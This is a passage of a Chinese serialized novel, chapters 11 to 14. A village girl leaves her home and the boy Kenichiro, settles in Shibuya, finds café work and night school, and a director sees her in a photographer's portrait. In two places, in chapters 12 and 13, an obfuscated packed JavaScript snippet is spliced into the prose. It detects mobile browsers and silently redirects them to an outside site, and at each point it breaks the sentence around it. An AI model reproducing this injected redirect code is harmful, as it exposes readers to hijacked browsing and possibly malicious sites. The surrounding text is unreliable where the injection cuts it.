太阳从云层后面探出头来,光照进屋子里,照在那垛干草上,照在他们两个人身上。 潮子睁开眼睛。 光刺得她眯了一下眼。她伸出手,挡在眼前。 健一郎侧过头,看着她。阳光照在她脸上,照在她鼻尖那颗痣上。她眯着眼,皱着眉,像一只刚从窝里探出头的小动物。 他看了她一会儿,然后坐起来。 “走吧。”他说。 潮子也坐起来。头发上沾着草屑,脸上还有没干的泪痕。她看着窗外那片被雨洗过的天空,看着那道从云层里射下来的光。 “走。”她说。 两个人站起来,拍拍身上的草屑,走出那个小屋。 外面的空气被雨洗过,干净得发亮。铁轨上还有水光,亮闪闪的,一直延伸到很远的地方。 潮子站在铁轨边上,看着那个方向。 东京在那个方向。她不知道有多远,不知道要走多久。她只知道,在那个方向的尽头,有她从来没见过的城市,有她从来没听过的人,有一种她从来没活过的生活。 健一郎站在她旁边,也在看着那个方向。 两个人谁也没说话。 风吹过来,把她的头发吹起来,把他的衣角吹起来。远处传来汽笛声,又一列火车要来了。 潮子转过头,看着他。 “健一郎。” “嗯。” “我走了以后,你也好好的。” 他没说话。 “别打架了。” 他还是没说话。 “好好吃饭。别饿着。” 他看着她,突然笑了一下。是那种很淡的笑,嘴角动了一下就收回去了,但眼睛里有光。 “你操心你自己。”他说。 潮子也笑了。 远处,火车的汽笛声越来越近。 潮子最后看了他一眼。那一眼看了很久,看得把他的样子从眼睛里刻进心里。然后她转过身,沿着铁轨旁边的石子路往前走。 走了几步,她停下来,回过头。 他还站在那里,看着她。 她朝他笑了一下,露出白牙。然后她转过身,继续往前走。 这一次,她没有回头。 健一郎站在那里,看着她的背影越来越小。她的校服被风吹着,裙摆飘起来。她的头发被风吹着,飘在身后。她走得很慢,但没有停。 她走到铁轨的拐弯处,身影被一丛芦苇遮住了一瞬。然后她又出现了,在芦苇的那一边,更小了,小得像个影子。 他站在那里,一直看,一直看。 直到那个影子消失在铁轨的尽头,消失在天边那片被雨洗过的光里。 12. 第 12 章 潮子这辈子第一次坐火车。 她以前只在铁轨边看过火车。绿色的车身,轰隆隆地开过去,带起的风能把裙子掀起来。她站在石子路上,看着车窗里那些一闪而过的人脸——有人靠着窗睡觉,有人在看报纸,有人在吃东西。那时候她觉得火车是另一个世界的东西,和她没关系。 现在她坐在里面。 车厢里有一股混合的味道——柴油味、烟味、盒饭的味道、皮革座椅捂久了的气味,还有人的味道。很多人的味道混在一起,热烘烘的。她坐在靠窗的位置,背挺得很直,两只手放在膝盖上,攥着那个布包。包里是她全部的家当:几件换洗的衣服,那件深蓝色的连衣裙,一枚贝壳,还有妈妈塞给她的那些钱。 她不敢动。怕动了就显得更土。 对面坐着一个中年男人,西装,领带松了,歪在座位上睡觉,嘴微微张着,呼噜声时高时低。旁边是一个穿碎花连衣裙的女人,抱着一个孩子,孩子睡着了,口水流在她肩膀上,她也不在意,歪着头看窗外。过道那边有几个年轻人,穿着喇叭裤,头发烫成卷,大声说笑着什么,偶尔爆发出一阵笑声。 潮子偷偷看他们。他们的衣服很亮,说话的声音很大,笑起来很响。她觉得他们和自己不是一种人。他们好像天生就知道怎么在火车上坐着,怎么跷二郎腿,怎么把包放在行李架上,怎么跟陌生人说话。她什么都不会。 窗外的风景一直在变。刚开始是海,灰蓝色的,远远地贴着地平线。然后变成田,一片一片的,稻子已经割了,只剩茬子。然后变成山,黑黢黢的,隧道一个接一个,钻进一个,黑一会儿,钻出来,亮一下,又钻进下一个。每次钻进隧道,车厢里的灯就亮了,昏黄的光照在每个人脸上,所有人的表情都变得模糊。 她数着隧道。一个,两个,三个……数到第七个的时候,她数不下去了。因为她发现,每一次从隧道里钻出来,窗外的风景都不一样了。田越来越少,房子越来越多。矮房子,高房子,挤在一起的房子,密密麻麻的,像海边礁石上长的那些贝类,一个挨一个,不留缝。 然后她看见了东京。 不是一下子看见的,是一点一点地。先是远处有一片灰蒙蒙的东西,像雾,但不是雾。然后那些灰蒙蒙的东西变成房子的轮廓,越来越多,越来越密,最后整个窗户都被填满了。房子,房子,房子。高的,矮的,新的,旧的,挤在一起,一直延伸到看不见的地方。 潮子把脸贴在窗户上,看着那些房子。她从来没见过这么多房子。村子里只有几十户人家,镇上多一些,但也一眼能望到头。这里不行。这里望不到头。她的眼睛不知道该往哪儿放,哪儿都是东西。 火车慢下来了。慢得能看清窗外的每一根电线杆,每一块广告牌,每一个走在路上的人。那些人走得很快,比村里人快多了,低着头,夹着包,好像有什么东西在后面追他们。 车厢里的广播响了。声音从喇叭里传出来,又快又硬,像倒豆子一样噼里啪啦地砸下来。潮子竖起耳朵听,只抓住了“东京”两个字——后面的那些话,像被风吹散的沙子,从她耳边滑过去,抓不住。 她的心突然跳得很快,快得她有点慌。她攥紧手里的布包,指甲嵌进布里。 对面那个男人醒了,打了个哈欠,伸了个懒腰,开始收拾东西。旁边那个女人也醒了,拍拍孩子的背,站起来,从行李架上拽下一个大包。过道里开始有人走动,拿行李的,穿外套的,招呼同伴的。车厢里突然热闹起来,热闹得潮子有点晕。 她站起来,跟在人群后面,往车门走。 走到车门的时候,她回头看了一眼那个座位。她坐了一整天的座位,皮革的,有点破,边上磨白了。她看了它一眼,然后转身,下车。 脚踩上月台的那一刻,她的腿有点软。不是晕车,是月台太大了。大得她觉得自己像一颗掉进海里的石子,小得看不见。 月台上全是人。穿着西装的上班族,拎着公文包,走得飞快。穿着校服的学生,背着书包,三三两两地说笑着。抱着孩子的女人,推着行李车的老人,蹲在地上等人的年轻人。所有人都很忙,所有人都知道要去哪里。只有她站在那里,像一根被浪冲到沙滩上的木头。 她往边上站了站,靠着一根柱子,把布包抱在怀里。她不敢动。怕动了就找不到回来的路了。 她想起妈妈说的:“到了东京,森本先生会来接你。” 森本先生。她记得他的声音,慢慢的,稳稳的。她记得他给她拍照的时候,眼睛里有一种她没见过的东西。不是那种黏糊糊的,是干净的,亮亮的。 她不知道他长什么样了。那天在海边,她没仔细看他的脸。她只记得他的相机,黑黑的,大大的,被他端在手里,像端着一件很贵重的东西。 她站在柱子旁边,看着人群,看了很久。久到月台上的人渐渐少了,久到广播又响了几次,久到她的腿站麻了。 然后她看见了他。 他站在月台尽头,穿着一件米色的风衣,手里没有拿相机。他也在看人群,一个一个地看,好像在找什么。他的头发比上次见的时候长了一点,被风吹乱了,他也不理。 潮子想喊他,但张了张嘴,没喊出来。她站在那里,嘴张着,又闭上。 然后他看见了她。 他愣了一下,然后笑了。那个笑让潮子突然觉得不那么慌了。他朝她走过来,步子不快不慢。走到她面前,站住,低头看着她。 “潮子。” “森本先生。” 他看着她,看了几秒钟。她不知道他在看什么。也许在看她的衣服——那件旧校服,洗得发白的,袖口磨毛了。也许在看她的脸——瘦了,下巴更尖了,眼睛更大更亮了。也许在看她的手——攥着布包,指节发白。 “走吧。”他说。 他伸出手,想帮她拿包。潮子把包往身后缩了缩。 “我自己拿。” 森本看了她一眼,没坚持。 “走吧。”他说,“我带你去住的地方。” 他走在前面,她跟在后面。他的步子不快,但她要小跑才能跟上。月台很长,他们走了很久。走过检票口的时候,潮子回头看了一眼月台。空荡荡的,只有几个清洁工在扫地。 她转回头,跟着森本,走进东京。 森本带她去的地方,在涩谷区的一条小巷子里。 巷子不宽,两边是两层的木造公寓,灰扑扑的,墙上有水渍,电线从这栋拉到那栋,像蜘蛛网。巷口有一棵桂花树,还没到开花的季节,叶子绿得发暗。地上铺着石板,有些地方碎了,露出下面的土。 森本在一栋公寓前面停下来。门上挂着一块小牌子,写着“高桥”。 他敲了敲门。 里面传来脚步声,慢悠悠的。门开了。 一个女人站在门口。 她四十岁左右,瘦,高,短发,没化妆,穿着一件灰色的毛衣,袖子挽到手肘。她的脸很白,不是那种好看的白,是那种在屋子里待久了的白。她的眼睛不大,看人的时候很直接,带着几分审视。 “高桥女士。”森本说,“这是潮子。” 高桥看着她。潮子也看着她。两个人对视了几秒钟。 “进来吧。”高桥说。 潮子跟着她走进去。玄关很小,脱了鞋,踩上地板。地板是老木头,走上去吱呀吱呀的。走廊很暗,两边各有一扇门。高桥推开左边那扇。 “你住这间。” 房间很小,比酒肆的阁楼大一点,但亮。窗户朝南,光从外面照进来,照在榻榻米上,黄黄的,暖暖的。榻榻米是新的,有稻草的香味。角落里有一张矮桌,一个柜子,柜子上放着一盏台灯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486547|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮子站在门口,看着这间房间。她从来没见过这么亮的房间。阁楼里只有一个小洞,光从洞里照进来,永远是一小条。这里不一样。这里的光是满的,整个房间都是亮的。 “这是你的房间。”高桥说,“森本跟我说了你的情况。你住在这里,不用交房租。但你要帮忙做家务。打扫,做饭,买东西。可以吗?” 潮子点点头。 “我白天要上班,晚上才回来。早饭你自己吃,晚饭你做。我回来吃。”高桥看着她,“会做饭吗?” “会。” 高桥点点头,没再说什么。她转身走出去,走到门口,又停下来。 “浴室在走廊尽头。热水晚上六点到十点。洗衣机在浴室旁边,用完了记得把盖子打开。” “好。” 高桥走了。脚步声在走廊里响了几下,然后是一扇门关上的声音。 潮子站在房间里,抱着她的布包。她慢慢蹲下来,把包放在榻榻米上,打开。 几件衣服。一件连衣裙。一枚贝壳。一卷钱。 她把衣服叠好,放进柜子里。把连衣裙挂在衣架上。把贝壳放在窗台上。把钱放在枕头底下。 然后她坐在榻榻米上,看着窗外。 窗外是另一栋公寓的墙,灰扑扑的,上面有雨水冲出来的痕迹。墙根下有一丛草,绿绿的,从石头缝里长出来。 她看了很久。 森本还没有走。他站在玄关,正在和高桥说话。声音很低,潮子听不清,但她能听见几个词。“麻烦你了”“她是个好孩子”“拜托了”。 然后脚步声朝这边来了。 森本站在门口,没有进来。他看着她,她坐在榻榻米上,仰着头看他。 “潮子。” “森本先生。” “高桥女士是杂志的编辑,一个人住。你在这里帮忙做家务,她不会为难你的。” 潮子点点头。 “工作的事,我帮你留意着。你先安顿下来,别着急。” “森本先生。” “嗯。” “谢谢您。” 森本看着她,看了几秒钟。 “不用谢。”他说,“你妈妈……她还好吗?” 潮子低下头。 “嗯。” 森本没再问。 “我先走了。”他说,“有什么事,打我电话。名片你还有吗?” 潮子从口袋里掏出那张名片。边角都磨毛了,但字还看得清。 森本看着那张名片,愣了一下。然后他笑了一下,点点头。 “好好照顾自己。” 他转身走了。脚步声在走廊里响了几下,然后是玄关门开的声音,关的声音。然后安静了。 潮子坐在榻榻米上,听着那个安静。 太安静了。没有海浪的声音,没有酒肆里的笑声和碰杯声,没有妈妈上楼时吱呀吱呀的脚步声。只有远处偶尔传来的电车声,嗡嗡的,像蚊子叫。 然后她躺下来,躺在榻榻米上。稻草的香味钻进鼻子里,干干的,暖暖的。 她闭上眼睛。 她明天就去找工作。要赚钱。不能麻烦森本先生。要把赚到的钱寄给妈妈。 她翻了个身,把脸埋在胳膊里。 过了一会儿,她又翻过来,睁开眼睛。 她想起健一郎。想起他站在铁轨边上,看着她走。想起他说“我永远在这里等着你”。想起他最后那个笑。 她把那枚贝壳从窗台上拿过来,攥在手心里。贝壳还是那样,白白的,有粉色的纹路,凉凉的。 她攥着它,闭上眼睛。 这一次,她听见了海浪的声音。从很远很远的地方传来,一下,一下。 她不知道那是真的听见了,还是她自己在心里想的。 但她听见了。 13. 第 13 章 潮子来东京的第三天,开始找工作。 她起得很早,天还没亮透就醒了。榻榻米上凉凉的,窗外那堵灰色的墙在晨光里泛着青。她躺了一会儿,听不见海浪的声音,只有远处电车经过的嗡鸣,一下,一下,像什么东西在心口上碾过。她起来,叠好被子,把贝壳放进口袋里。走出房间,走廊里很安静。高桥女士的房门关着,里面没有声音。她轻手轻脚地走到玄关,穿上鞋,推开门。外面的空气凉凉的,有桂花树的味道,但还没开花,是叶子的味道,青涩涩的。 巷子里没有人。垃圾箱旁边蹲着一只猫,看见她,跳上墙头走了。她站在巷口,看着外面的街。涩谷的早晨是灰色的,楼房灰,街道灰,天也灰。但那种灰和渔村不一样——渔村的灰是海的灰,是雾的灰,是湿漉漉的、能攥出水来的灰。这里的灰是干的,硬邦邦的,像水泥。 她不知道该往哪儿走。她站在街角,看着来来往往的人。所有人都走得很急,低着头,夹着包,没有人看她。她从口袋里掏出那张地图——是高桥女士昨晚给她画的,从公寓到涩谷车站,再从涩谷到附近的几个街区。地图上画着圈,写着“这边店多”。 她顺着地图走。涩谷车站很大,比她见过的任何建筑都大。她站在车站前面,仰着头看那块巨大的霓虹灯招牌,看了一会儿,低下头,继续走。 第一家店在车站东口,玻璃窗擦得锃亮,能照见人影。她在门口站了一会儿,推门进去。门上有铃铛,叮当响了一声。里面不大,五六张桌子,吧台后面站着一个男人,三十来岁,穿着白衬衫,系着黑围裙。 “你好,请问……你们招人吗?” 那个男人看了她一眼。从头到脚,从脚到头。她的衣服是旧的,校服洗得发白,袖口磨毛了。鞋子是那双木屐,从渔村穿来的,带子换过好几次。她站在那扇擦得锃亮的玻璃窗前面,像一颗被冲到岸上的贝壳。 “你多大了?”他问。 “十五。” “十五?”他又看了她一眼,“有电话吗?” 潮子愣了一下。“没有。” “住在哪里?” “涩谷。” “涩谷哪里?” 她说了公寓的地址。那个男人想了想,摇摇头。“你太小了。我们这里要十八岁以上的。” “我可以干活。什么都能干。” 他看着她,眼神里有点什么——不是同情,是那种她熟悉的东西,酒肆里男人看她的那种,但浅得多,一闪就过去了。“不行啊,小姑娘。回去吧。”他转过身,开始擦吧台。潮子站在门口,站了一会儿,推门出去。铃铛又响了一声。 第二家店是卖甜甜圈的。粉色的招牌,玻璃柜里摆着一排一排的甜甜圈,撒了糖霜的,裹了巧克力的,五颜六色。她推门进去,一个扎着马尾的女孩接待她,问了年龄,问了住址,问了有没有经验。然后走到后面,叫出来一个穿西装的男人。那个男人看了她一眼,问了一句:“你还在读书吗?”她说“是的,晚上上课”。他说“那不行,我们要白天的全职”。 第三家店是一家小小的花店,在一条巷子里面。门口摆着几桶花,百合、玫瑰、康乃馨,水汽扑在脸上,凉凉的,香香的。她推门进去,一个老太太坐在里面,正在剪花枝。 “你好,请问你们招人吗?” 老太太抬起头,看着她。看了很久。久到潮子有点不安。 “你从哪里来的?”老太太问。 “海边。” “海边啊。”老太太点点头,把花枝放下,“我们这里不要人。太小了,又没经验。” 潮子点点头,转身要走。 “等一下。”老太太叫住她。她从柜台后面拿出一个面包,用纸袋装好,递过来。“吃了吧。看你瘦的。” 潮子看着那个面包,没有接。 “拿着。”老太太塞到她手里,“不要钱。” 潮子握着那个面包,纸袋温温的,是刚烤好的。“谢谢您。”她说。老太太摆摆手,继续剪花枝。潮子走出花店,站在巷子里,看着手里的面包。她没有吃。她把面包放进布包里,继续走。 第四家,第五家,第六家。她走了整整一个上午。有的店说“太小了”,有的店说“没经验”,有的店看了她一眼,什么都没说,就摇了头。还有一家,老板是个中年男人,问她“你多大”,她说“十五”,他上下打量了她一遍,眼神在她身上停了一会儿,说“你明天来试试吧”。但那个眼神让她想起田中。她说了“谢谢”,没有去。 太阳升到头顶的时候,她站在一条小街上,腿疼,脚也疼。木屐的带子磨破了脚趾,走路一瘸一拐的。她蹲在路边,把木屐脱下来,看了看脚上的伤口,又把木屐穿上。她不知道自己在哪儿。地图上的字被汗洇湿了,模糊成一团。 她靠着一面墙,蹲下来,把脸埋在膝盖里。太阳晒着她,背上烫烫的。她闭上眼睛,听见远处有蝉叫,吱吱吱的,和海边不一样。海边的蝉叫是潮的,湿的,这里的蝉叫是干的,燥的,像什么东西在烧。她想起健一郎。如果他在,他会说什么?他可能什么都不说,就蹲在她旁边,等她站起来。她站起来。继续走。 快到中午的时候,她找到了一家咖啡店。它在一座写字楼的底层,门面不大,木头门框,上面挂着一块手写的招牌。从窗户看进去,里面安安静静的,吧台沿着墙弯成一个弧形,铺着深褐色的木板,擦得发亮。三四张桌子,铺着格子桌布,每张桌上放着一朵纸折的花。还没到最忙的时候,店里只有一个靠窗的客人在看报纸。吧台后面站着一个女人,四十岁左右,圆脸,短发,系着一条白色的围裙,正在擦杯子。 潮子在门口站了一会儿,深吸一口气,推门进去。门没有铃铛,是轻轻的“吱呀”一声。 “你好。”她说。 那个女人抬起头,看着她。 “请问,你们招人吗?” 女人放下杯子,上下打量了她一遍。潮子站在那里,等着。她的衣服上有汗渍,头发被风吹乱了,脚趾上贴着从裙子上撕下来的布条。她知道自己看起来什么样。但她站得很直。 “你多大了?”女人问。 “十五。” “还在上学?” “嗯。晚上上课。” “以前干过吗?” “没有。但我什么都能干。端盘子,洗杯子,擦桌子,打扫卫生。我什么都能干。” 女人看着她。看了很久。然后她的目光落在潮子脸上,落在那双眼睛上。那双眼睛很亮,很直,里面有一种东西。不是恳求,不是可怜,是那种“你让我干我就干,你不让我干我就走”的东西。 “你等一下。”女人转身进了后面。 潮子站在那里,听见后面有说话的声音。听不清说什么,但有两个人的声音,一男一女。过了一会儿,女人出来了,后面跟着一个老头——瘦瘦的,头发花白,系着一条沾了咖啡渍的围裙。 “老板。”女人说。 老头看着潮子。潮子看着他。 “你叫什么?”他问。 “浜田潮子。” “从哪里来的?” “静冈。海边。”她没说渔村,没说酒肆。她说海边。 老头点点头。他看着她,看了一会儿,然后笑了。那个笑很轻,很淡,像海风吹过。“我们上午缺一个人。时薪二百二十日元。早上九点到下午一点。包一顿饭。可以吗?” 潮子的心跳了一下。“可以。” “明天能来吗?” “能。” 老头点点头,转身回后面去了。女人从柜台下面拿出一件围裙,白色的,叠得整整齐齐。“这是你的。明天来的时候换上。穿素一点的衣服。” 潮子接过围裙,攥在手里。布料是棉的,软软的,带着肥皂的香味。 “谢谢您。”她说。声音有点发抖。 女人看着她,眼神里有什么东西动了一下。“明天见。”她说。 潮子走出咖啡店,站在街上。太阳照在她脸上,暖洋洋的。她把围裙抱在怀里,站了一会儿。然后她低下头,看着自己的脚。木屐的带子又松了,脚趾上的伤口还在疼。她笑了一下。很轻的,嘴角动了一下,眼睛弯了弯。她找到工作了。 潮子回到公寓的时候,是下午两点多。她在巷口站了一会儿,看着那棵桂花树。叶子的背面是银灰色的,风一吹,翻过来,亮一下,又翻回去。她上了楼,推开门。走廊里很安静,高桥女士的房门关着。她走到厨房,打开冰箱。里面有半棵白菜,几根葱,一小块猪肉,还有一盒豆腐。 她想着高桥女士晚上回来要吃饭。她先淘了米,放在炉子上煮。然后切白菜,切葱,切肉。她的刀工很好,从小在酒肆帮妈妈切菜练出来的。刀落在案板上,笃笃笃的,很匀。锅里的水开了,她把豆腐放进去烫了一下,捞出来。白菜炒肉,豆腐葱花汤。她做着这些的时候,心里很静。什么也不想。不想找工作被拒绝的事,不想脚上的伤口,不想钱够不够。只想着这顿饭。 高桥女士回来的时候,菜刚做好。她站在厨房门口,看着桌上的两碗饭、一盘菜、一锅汤,愣了一下。 “你做的?”她问。 “嗯。不知道您什么时候回来,就想着先做好,您回来就能吃了。” 高桥没说话。她洗了手,坐下来,拿起筷子。夹了一口菜,嚼了嚼。“好吃。”她说。 潮子站在旁边,看着她吃。 “你不吃?”高桥问。 “我在路上吃了点东西。” 高桥看了她一眼,没说话。夹了一块肉放在旁边空碗里,推过去。“吃了再走。” 潮子愣了一下,坐下来,端起碗。两个人面对面吃着,谁也没说话。厨房里只有筷子碰碗的声音,和窗外偶尔传来的电车声。 吃完饭,潮子收拾了碗筷,把厨房擦干净。高桥坐在客厅里看稿子,铅笔在纸上划来划去。潮子站在厨房门口,看了她一会儿。她想说“谢谢您让我住在这里”,但没说出口。她怕说了,就显得生分。 “高桥女士。” “嗯?” “我去学校了。” 高桥抬起头,看着她。“路上小心。” 潮子点点头,换鞋,推门出去。 夜校在涩谷区的一所公立高中里面,用的是白天全日制学校的教室。她走进去的时候,天已经黑了。教学楼亮着灯,一楼最右边的几间教室,是给夜间部用的。 她找到办公室,推门进去。一个戴眼镜的中年男人坐在里面,正在抽烟。看见她,把烟掐了。 “你好,我是来报到的。” “新生?” “嗯。” 他拿出一张表格,让她填。潮子趴在桌上,一笔一划地写。她的字很工整,佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486548|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐木老师教的。写到“出身地”的时候,她停了一下。静冈县,那个小渔村的名字。她写下去,继续填后面的。 “学费。”男人说,“一个学期三千五百日元。教材费另算。” 潮子从布包里拿出那些钱。她妈妈给她的,一元的,五元的,十元的,皱巴巴的,叠得整整齐齐。她一张一张数出来,放在桌上。那个男人看着那些钱,没有说话。他收好钱,开了一张收据,递给她。 “教室在一楼最右边。国语课,现在正上着呢。” “谢谢您。” 她拿着收据,走出办公室。走廊里很安静,日光灯嗡嗡地响,照得地上白花花的。她走到最右边那间教室,推开门。 教室不大,二十几个座位,只坐了一半。坐在前排的都是年轻人,和她差不多大,有的还穿着工作服,袖口有油渍。坐在后排的是几个中年人,头发已经少了,趴在桌上,不知道是在听课还是在睡觉。 讲台上站着一个老头,头发全白了,戴着老花镜,正在念课文。他看见潮子站在门口,停下来。 “新生?” “是。” “进来吧。找个位子坐下。” 潮子走进去,在第一排靠窗的位置坐下来。她从包里拿出笔记本和铅笔,翻开,等着。 老头继续念课文。是国语的课本,第一篇,讲的是极乐世界的莲池边,佛祖散步的时候,看见一个叫犍陀多的盗贼在地狱里挣扎。佛祖想起他曾经救过一只蜘蛛,就垂下一根蜘蛛丝去救他。犍陀多顺着蜘蛛丝往上爬,爬到一半,回头看见其他人也跟着往上爬,他怕蜘蛛丝断了,大喊“这是属于我的,你们下去”。话音刚落,蜘蛛丝断了,他又掉回地狱里。 潮子听着,想起小时候佐佐木老师讲过的那些故事。那时候她坐在村小的教室里,窗户开着,海风吹进来,带着咸味。佐佐木老师说:“潮子,你是我教过的最聪明的孩子。不管去哪里,都要读书。”现在她坐在东京的教室里,窗户关着,外面是车声和人声。但老师在讲课。她还在听课。 她在笔记本上写下标题,写下作者的名字。她的字很工整,一笔一划。 旁边的男生凑过来,看了一眼她的笔记本。“你字写得真好。”他小声说。她没回答,继续写。 下课铃响了。老头合上课本,说了句“下次记得带课本”,走了。教室里的学生站起来,有的走了,有的趴在桌上睡觉,有的拿出饭盒开始吃东西。潮子坐在那里,把笔记本合上,放进包里。 旁边的男生还没走。他穿着一件蓝色的工作服,袖口磨破了,指甲缝里有黑色的油渍。他看着潮子,犹豫了一下,说:“你是新来的?” “嗯。” “我叫中村。” “浜田潮子。” “你是从哪儿来的?” “静冈。” “静冈啊。那边有海吧?” “有。” “真好啊。我从小在东京长大,没见过海。” 潮子看着他。他的脸圆圆的,眼睛小小的,笑起来眯成一条缝。不像健一郎。健一郎的脸是硬的,线条是直的。这个人是软的,圆的。 “海也没什么好看的。”她说。 中村愣了一下,然后笑了。“你骗人。海边肯定很好看。” 潮子没说话。她站起来,背上包。 “明天还来吗?”中村问。 “来。” “那明天见。” “嗯。” 她走出教室,穿过走廊,走出校门。外面是涩谷的夜晚。霓虹灯亮了,红的,蓝的,绿的,把街面照得花花绿绿的。人比白天还多,年轻人穿着喇叭裤,烫着卷发,笑着,闹着,从她身边走过去。她站在校门口,看着那些人,看了一会儿。然后她转身,往公寓的方向走。 走到巷口的时候,她停下来。桂花树在路灯下面,叶子被光照着,亮亮的。她站在树下,仰着头看了一会儿。然后她走进巷子,上楼。 高桥女士的房间灯还亮着。她听见打字机的声音,嗒嗒嗒的,很有节奏。她轻手轻脚地走过走廊,推开自己的房门。 房间里还是那样,榻榻米,矮桌,柜子。窗台上那枚贝壳,白白的,有粉色的纹路。她坐下来,把包放下。从里面拿出笔记本,翻开。她看着自己写的那些字。看了一会儿,然后合上笔记本。 她开始算账。学费三千五百,教材费还没交,咖啡店的工钱要月底才发,一天四个小时,时薪二百二十,一天八百八十日元。一个月如果干满,能有两万多。但交了学费,买了课本,剩下的不多了。她还要吃饭,还要还森本先生的人情,还要给妈妈寄钱。不够。远远不够。 她把数字算了一遍,又算了一遍。还是不够。她需要再找一份工。下午的,或者周末的。什么都可以。洗碗,扫地,搬东西。什么都可以。 她把笔记本放好,躺下来。榻榻米凉凉的,贴着后背。 她闭上眼睛。没有海浪的声音。只有远处的电车声,嗡嗡的,像什么东西在远处转。还有打字机的声音,嗒嗒嗒的,从走廊那头传过来。 “明天再去找。”她对自己说。“下午的工,或者周末的。什么都可以。” 打字机的声音停了。走廊里安静下来。她听见高桥女士走路的脚步声,轻轻的,从这头到那头。然后是一扇门关上的声音。 她闭上眼睛。 14. 第 14 章 森本英世的摄影展在银座的一家画廊开幕了。 这是他近年来规模最大的一次个展,圈内人都来了。评论家、收藏家、杂志编辑,还有那些常年混迹在银座艺术圈的面孔,三三两两地聚在展厅里,手里端着酒杯,低声交谈着什么。展厅的墙刷成了深灰色,射灯从顶上打下来,把每一幅照片照得像一扇扇发光的窗户。 这次展览的主题叫“残像”。 七十年代的日本,经济高速增长的尾巴还在扫着。东京的楼越盖越高,新宿的霓虹灯越亮越密,人们口袋里有了钱,电视机从黑白变成彩色,新干线的列车从车窗前呼啸而过。所有人都在往前跑,往前看。而那些被甩在后面的东西——被遗忘的渔村、沉默的海、那些像礁石一样安静的人——被森本的相机留了下来。 “残像”展出的就是这些东西。不是那种刻意卖惨的纪实摄影,是另一种东西。他把那些即将消失的风景拍得像还活着,把那些沉默的人拍得像有话要说。 展厅里最里面那面墙上,只挂着一张照片。不是因为它最大,是因为它旁边没有别的,空出一大片灰墙,像给这张照片留出了一口气。 照片里是一个少女。 她坐在礁石上,光着脚,身体微微向后仰,双手撑在粗糙的岩石上。海风从正面吹过来,把她的头发全部吹到后面,露出整张脸——额头,眉毛,眼睛,鼻尖上那颗痣。那颗痣不大不小,位置恰到好处,在她脸上不像是长出来的,倒像是谁特意点上去的。有了它,那张脸就有了记性,看过了就忘不掉。 她的眼睛闭着,睫毛在脸上投下淡淡的影子,嘴角有一道细细的结痂的伤口,不仔细看,看不出来。 她穿着一条深蓝色的连衣裙,袖子太长了,挽了两道,裙摆被风吹起来,贴在腿上。海在她身后,灰蓝色的,一直延伸到看不见的地方。整张照片只有灰、蓝、白三种颜色,但那个少女的脸让所有颜色都活了。 有人在这张照片前面站了很久,走开了,又回来。有人说“这个女孩是谁”,有人说“没见过”,有人说“森本在哪里找到的”。 森本站在展厅另一头,手里端着一杯没怎么喝的酒,眼睛却一直往这边看。他在等一个人。 山田洋次来了。 他一个人来的,穿着一件深灰色的外套,围巾搭在肩上,进来的时候没有人注意到他。他沿着墙慢慢走,一幅一幅地看,偶尔停下来,歪着头看一会儿,又继续往前走。走到最里面那面墙的时候,他停住了。 他站在那里,看着那张照片。看了很久。久到旁边有人经过,认出了他,小声说“山田导演”,他没有听见。他的眼睛没有离开那张照片。 照片里的少女闭着眼睛,但他觉得她在看他。不是那种直直的、盯着你看的那种看,是那种安安静静的、从照片里面往外看的那种看。她的脸很瘦,下巴尖尖的,颧骨的轮廓在光线下面显出一点点棱角。不是那种圆润的、甜美的脸,是有棱角的,有骨头的,有脾气的。 她的眼睛闭着,但他能看见那双眼睛。他知道那双眼睛睁开的时候是什么样——一定很亮,很直,里面有一种东西,是自己身体里长出来的。 他的目光落在她嘴角那道细细的伤痕上。很淡了,结着痂,不仔细看根本看不出来。但他看见了。他把那道光记住了。她的鼻子上有一颗痣,不大不小,长在左边,不抢眼,但你一旦看见了就再也忘不掉。那张脸因为这颗痣活了起来——不是画里那种规规矩矩的美,是活的、野的、不讲道理的美。 山田站在那里,看着那张脸,脑子里突然涌上来一个画面。 那是他读了很多遍的一部小说,三岛由纪夫的《潮骚》。故事发生在歌岛,一个渔民的小岛上。女主角叫初江,是海女家的女儿,从小在海边长大,潜水捞鲍鱼,被海风吹着,被太阳晒着。她不是那种柔柔弱弱的、在屋子里养大的女孩。她身上有一种东西——是海的腥味,是阳光的痕迹,是浪打上来不躲、站在那里等浪退下去的东西。 他一直在找这个人。为了这个角色,他见了许多来试镜的女孩子。她们都很漂亮,有的甜美,有的清纯,有的眼睛里也有几分倔强。他让她们换上渔村的衣服,站在镜头前面。她们站在那里,很好看,但他总觉得缺了什么。他说不上来缺什么。她们可以演一个渔村的女孩,但她们不是。她们的脸上没有海风吹过的痕迹,眼睛里没有那种被生活打过、但没有被打碎的东西。她们的美是柔的,是收着的,是那种“你知道自己好看所以好看”的好看。不是他要的那种。 现在他知道了。他站在那里,看着照片里这个少女,突然明白了那些女孩身上缺少的是什么——是海。是那片灰蓝色的、永远在动的、能把一切卷走又还给你的海。她不是站在那里让人拍的。她是海的一部分。海风吹她,她闭着眼;浪打她,她不动。她的美不是长出来的,是海浇出来的,是礁石磨出来的,是那些被打过的日子在她脸上留下的痕迹。 